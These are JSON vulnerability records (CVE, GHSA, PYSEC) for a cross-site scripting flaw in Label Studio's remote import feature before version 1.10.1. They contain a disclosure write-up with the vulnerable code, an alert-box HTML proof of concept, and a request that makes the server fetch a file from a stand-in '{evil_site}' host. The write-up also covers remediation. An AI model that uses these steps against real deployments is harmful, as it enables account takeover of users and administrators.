{
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2024-23633"
      ],
      "details": "Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n`data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\nVersion 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded.",
      "id": "GSD-2024-23633",
      "modified": "2024-01-19T06:02:13.288812Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2024-23633",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "label-studio",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "=",
                          "version_value": "\u003c 1.10.1"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "HumanSignal"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n`data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\nVersion 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded."
          }
        ]
      },
      "impact": {
        "cvss": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
            "version": "3.1"
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "cweId": "CWE-79",
                "lang": "eng",
                "value": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r",
            "refsource": "MISC",
            "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
          },
          {
            "name": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox",
            "refsource": "MISC",
            "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
          },
          {
            "name": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62",
            "refsource": "MISC",
            "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
          },
          {
            "name": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146",
            "refsource": "MISC",
            "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-fq23-g58m-799r",
        "discovery": "UNKNOWN"
      }
    },
    "nvd.nist.gov": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "0851F09C-7B83-47B1-8217-1394F68D0B13",
                    "versionEndExcluding": "1.10.1",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "descriptions": [
          {
            "lang": "en",
            "value": "Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n`data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\nVersion 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded."
          },
          {
            "lang": "es",
            "value": "Label Studio, una herramienta de etiquetado de datos de c\u00f3digo abierto, ten\u00eda una funci\u00f3n de importaci\u00f3n remota que permit\u00eda a los usuarios importar datos desde una fuente web remota, que se descargaba y se pod\u00eda ver en el sitio web. Antes de la versi\u00f3n 1.10.1, se pod\u00eda abusar de esta caracter\u00edstica para descargar un archivo HTML que ejecutaba c\u00f3digo JavaScript malicioso en el contexto del sitio web de Label Studio. La ejecuci\u00f3n de JavaScript arbitrario podr\u00eda provocar que un atacante realice acciones maliciosas en los usuarios de Label Studio si visitan la imagen de avatar creada. Por ejemplo, un atacante puede crear un payload de JavaScript que agregue un nuevo usuario de Superadministrador de Django si un administrador de Django visita la imagen. Las l\u00edneas 125C5 a 146 de `data_import/uploader.py` mostraban que si una URL pasaba las verificaciones de verificaci\u00f3n de server side request forgery, el contenido del archivo se descargar\u00eda usando el nombre de archivo en la URL. La ruta del archivo descargado podr\u00eda recuperarse enviando una solicitud a `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` donde `{project_id}` era el ID del proyecto y `{ download_id}` era el ID del archivo descargado. Una vez que el endpoint API anterior recuper\u00f3 la ruta del archivo descargado, las l\u00edneas `data_import/api.py` 595C1 a 616C62 demostraron que el `Content-Type` de la respuesta estaba determinado por la extensi\u00f3n del archivo, ya que `mimetypes.guess_type` adivina el `Tipo de contenido` basado en la extensi\u00f3n del archivo. Dado que el \"Tipo de contenido\" estaba determinado por la extensi\u00f3n del archivo descargado, un atacante podr\u00eda importar un archivo \".html\" que ejecutar\u00eda JavaScript cuando lo visitara. La versi\u00f3n 1.10.1 contiene un parche para este problema. Tambi\u00e9n se encuentran disponibles otras estrategias de remediaci\u00f3n. Para todos los archivos proporcionados por el usuario que Label Studio descarga, configure el encabezado de respuesta `Content-Security-Policy: sandbox;` cuando se vea en el sitio. La directiva `sandbox` restringe las acciones de una p\u00e1gina para evitar ventanas emergentes, la ejecuci\u00f3n de complementos y scripts y aplica una pol\u00edtica de `mismo origen`. Alternativamente, restrinja las extensiones de archivos permitidas que se pueden descargar."
          }
        ],
        "id": "CVE-2024-23633",
        "lastModified": "2024-02-01T15:47:45.103",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "nvd@nist.gov",
              "type": "Primary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.7,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2024-01-24T00:15:08.373",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Not Applicable"
            ],
            "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    }
  }
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-24T14:21:47Z",
    "nvd_published_at": "2024-01-24T00:15:08Z",
    "severity": "MODERATE"
  },
  "details": "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`.\n\n# Overview\n\n[Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.\n\n# Description\n\nThe following [code snippet in Label Studio](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146) showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.\n\n```python\ndef tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):\n    \"\"\"Download file using URL and read tasks from it\"\"\"\n    # process URL with tasks\n    try:\n        filename = url.rsplit(\u0027/\u0027, 1)[-1] \u003c1\u003e\n\n        response = ssrf_safe_get(\n            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={\u0027Accept-Encoding\u0027: None}\n        )\n        file_content = response.content\n        check_tasks_max_file_size(int(response.headers[\u0027content-length\u0027]))\n        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))\n        if file_upload.format_could_be_tasks_list:\n            could_be_tasks_list = True\n        file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n\n    except ValidationError as e:\n        raise e\n    except Exception as e:\n        raise ValidationError(str(e))\n    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list\n```\n1. The file name that was set was retrieved from the URL.\n\nThe downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the [following code snippet](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62) demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension.\n\n```python\nclass UploadedFileResponse(generics.RetrieveAPIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(auto_schema=None)\n    def get(self, *args, **kwargs):\n        request = self.request\n        filename = kwargs[\u0027filename\u0027]\n        # XXX needed, on windows os.path.join generates \u0027\\\u0027 which breaks FileUpload\n        file = settings.UPLOAD_DIR + (\u0027/\u0027 if not settings.UPLOAD_DIR.endswith(\u0027/\u0027) else \u0027\u0027) + filename\n        logger.debug(f\u0027Fetch uploaded file by user {request.user} =\u003e {file}\u0027)\n        file_upload = FileUpload.objects.filter(file=file).last()\n\n        if not file_upload.has_permission(request.user):\n            return Response(status=status.HTTP_403_FORBIDDEN)\n\n        file = file_upload.file\n        if file.storage.exists(file.name):\n            content_type, encoding = mimetypes.guess_type(str(file.name)) \u003c1\u003e\n            content_type = content_type or \u0027application/octet-stream\u0027\n            return RangedFileResponse(request, file.open(mode=\u0027rb\u0027), content_type=content_type)\n        else:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n```\n1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`.\n\nSince the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\n# Proof of Concept\n\nBelow were the steps to recreate this issue:\n\n1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website.\n\n```html\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003ch1\u003eData Import XSS\u003c/h1\u003e\n        \u003cscript\u003e\n            alert(document.domain);\n        \u003c/script\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example).\n\n```http\nPOST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1\nHost: {victim_host}\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\ncontent-type: application/x-www-form-urlencoded\nContent-Length: 43\nConnection: close\nCookie: {cookies}\nPragma: no-cache\nCache-Control: no-cache\n\nurl=https://{evil_site}/xss.html\n```\n\n3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step.\n\n4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`.\n\n![xss-import-alert](https://user-images.githubusercontent.com/139727151/282223222-d8f9132c-838e-4aa6-9c03-a2bc83b4a409.png)\n\n# Impact\n\nExecuting arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n# Remediation Advice\n\n* For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy ([documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)).\n* Restrict the allowed file extensions that could be downloaded.\n\n# Discovered\n- August 2023, Alex Brown, elttam",
  "id": "GHSA-fq23-g58m-799r",
  "modified": "2024-11-22T18:20:58Z",
  "published": "2024-01-24T14:21:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23633"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2024-128.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-site Scripting Vulnerability on Data Import"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio",
        "purl": "pkg:pypi/label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.4.post1",
        "0.4.4.post2",
        "0.4.5",
        "0.4.6",
        "0.4.6.post1",
        "0.4.6.post2",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.6.1",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.7.4.post0",
        "0.7.4.post1",
        "0.7.5.post1",
        "0.7.5.post2",
        "0.8.0",
        "0.8.0.post0",
        "0.8.1",
        "0.8.1.post0",
        "0.8.2",
        "0.8.2.post0",
        "0.9.0",
        "0.9.0.post2",
        "0.9.0.post3",
        "0.9.0.post4",
        "0.9.0.post5",
        "0.9.1",
        "0.9.1.post0",
        "0.9.1.post1",
        "0.9.1.post2",
        "1.0.0",
        "1.0.0.post0",
        "1.0.0.post1",
        "1.0.0.post2",
        "1.0.0.post3",
        "1.0.1",
        "1.0.2",
        "1.0.2.post0",
        "1.1.0",
        "1.1.0rc0",
        "1.1.1",
        "1.10.0",
        "1.10.0.post0",
        "1.2",
        "1.3",
        "1.3.post0",
        "1.3.post1",
        "1.4",
        "1.4.1",
        "1.4.1.post0",
        "1.4.1.post1",
        "1.5.0",
        "1.5.0.post0",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8.0",
        "1.8.1",
        "1.8.2",
        "1.8.2.post0",
        "1.8.2.post1",
        "1.9.0",
        "1.9.1",
        "1.9.1.post0",
        "1.9.2",
        "1.9.2.post0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23633",
    "GHSA-fq23-g58m-799r"
  ],
  "details": "Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n`data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\nVersion 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded.",
  "id": "PYSEC-2024-128",
  "modified": "2024-11-21T14:22:53.406222+00:00",
  "published": "2024-01-24T00:15:00+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}